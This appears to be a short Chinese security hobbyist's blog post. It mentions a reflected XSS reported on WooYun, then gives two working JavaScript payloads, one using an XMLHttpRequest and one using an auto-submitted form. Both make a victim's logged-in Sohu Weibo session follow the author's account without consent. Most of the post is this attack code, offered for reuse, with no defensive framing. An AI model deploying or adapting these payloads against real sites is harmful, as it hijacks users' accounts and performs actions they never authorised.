http://www.wooyun.org/bugs/wooyun-2010-010041
这是今天忙活了下的结果。发现了个比较鸡肋的反射型xss
另外还学习了sina app的应用,果然比较爽,各种自己的js文件,在线编辑,非常方便。
此外下次blog的任务是
http://www.inbreak.net/archives/389
空虚浪子心的blog非常cool
附录是两个搜狐微博加关注的js脚本
var xmlHttp=null; function createXMLHttpRequest() { if(xmlHttp == null){ if(window.XMLHttpRequest) { //Mozilla 浏览器 xmlHttp = new XMLHttpRequest(); }else if(window.ActiveXObject) { // IE浏览器 try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } } } function openAjax() { if( xmlHttp == null) { createXMLHttpRequest(); if( xmlHttp == null) { //alert('出错'); return ; } } xmlHttp.onreadystatechange=xmlHttpChange; xmlHttp.open("post","/follow/addfollows",true); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.setRequestHeader("X-Requested-With","XMLHttpRequest"); xmlHttp.send("act=follow&friendids=595824670&type=follow7"); } function xmlHttpChange() { if(xmlHttp.readyState==4) { if(xmlHttp.status==200) { } } } openAjax();
传统的js加form提交型
var act = 'follow'; //it's icefish冰's weibo //act=follow&friendids=595824670&type=follow7 var friendids = '595824670'; var type='follow7'; var sohuAddFollowForm = document.createElement("form");//表单对象 sohuAddFollowForm.method="post" ; sohuAddFollowForm.action = '/follow/addfollows' ; var actInput = document.createElement("input") ; // actInput.setAttribute("name", "act") ; actInput.setAttribute("value", act); sohuAddFollowForm.appendChild(actInput) ; var friendidsInput = document.createElement("input");// friendidsInput.setAttribute("name","friendids"); friendidsInput.setAttribute("value",friendids); sohuAddFollowForm.appendChild(friendidsInput); var typeInput = document.createElement("input");// typeInput.setAttribute("name","type"); typeInput.setAttribute("value",type); sohuAddFollowForm.appendChild(typeInput); document.body.appendChild(sohuAddFollowForm) ; sohuAddFollowForm.submit() ; document.body.removeChild(sohuAddFollowForm) ;